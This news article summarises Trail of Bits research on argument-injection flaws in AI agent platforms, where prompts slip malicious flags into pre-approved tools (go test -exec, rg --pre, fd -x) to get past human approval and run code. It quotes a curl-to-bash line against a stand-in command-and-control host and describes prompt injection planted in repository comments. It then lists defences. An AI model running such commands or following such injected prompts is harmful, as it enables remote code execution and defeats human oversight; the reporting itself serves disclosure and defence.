A critical argument injection flaw in three unnamed popular AI agent platforms enables attackers to bypass human approval safeguards and achieve remote code execution (RCE) through seemingly innocuous prompts.
According to Trail of Bits, these vulnerabilities exploit pre-approved system commands designed for efficiency in tasks like file searches and code analysis, highlighting a widespread design flaw in agentic AI systems.
AI agents rely on native tools such as find, grep, git, and go test to handle filesystem operations and version control without reinventing functionality, offering benefits in performance, reliability, and development speed.
However, these pre-approved commands create an attack surface when user inputs influence arguments, allowing argument injection as defined by CWE-88.
Systems often validate commands against allowlists but neglect argument flags, making blanket blocking impractical due to the vast parameter spaces of utilities.
For instance, a simplified Go function checks if a command like “grep” is safe but appends user-provided arguments unchecked, leaving room for exploitation.
This antipattern persists because selective filtering demands exhaustive knowledge of command options, a challenge amplified by AI’s dynamic nature.
In one CLI-based agent, attackers crafted a prompt to run “go test -exec ‘bash -c “curl c2-server.evil.com?unittest= | bash; echo success”‘”, leveraging the -exec flag to introduce unauthorized curl and bash commands, resulting in RCE without approval.
Another example bypassed regex filters by using git show with hex-encoded payloads to create a file, followed by ripgrep’s –pre flag to execute it, all through JSON-formatted prompts that nudged the model toward tool use, according to Trail of Bits.
Attack Patterns
A facade pattern vulnerability in a third system appended malicious flags like “-x=python3” to an fd command, executing a pre-created Python payload with os.system for arbitrary actions.
These one-shot attacks, embeddable in code comments or repositories, draw from “living off the land” techniques cataloged in GTFOBins and LOLBAS projects.
Prior disclosures, including Johann Rehberger’s August 2025 writeups on Amazon Q command injection and CVEs like CVE-2025-54795 in Claude Code, echo these risks.
To counter these threats, researchers advocate sandboxing as the primary defense, using containers, WebAssembly, or OS-level isolation like Seatbelt on macOS to limit agent access.
For facade patterns, always insert argument separators like “–” before user inputs and disable shell execution with methods like subprocess.run(shell=False).
Safe command allowlists remain flawed without sandboxes, as tools like find enable code execution via flags, urging audits against LOLBAS resources.
Developers should implement logging, reduce allowlists, and reintroduce human loops for suspicious chains; users must restrict access and use containers for untrusted inputs.
Security engineers can map tools via prompts or documentation, fuzz flags, and compare against exploit databases. As agentic AI proliferates, these coordinated disclosures signal a shift toward prioritizing security before entrenchment.
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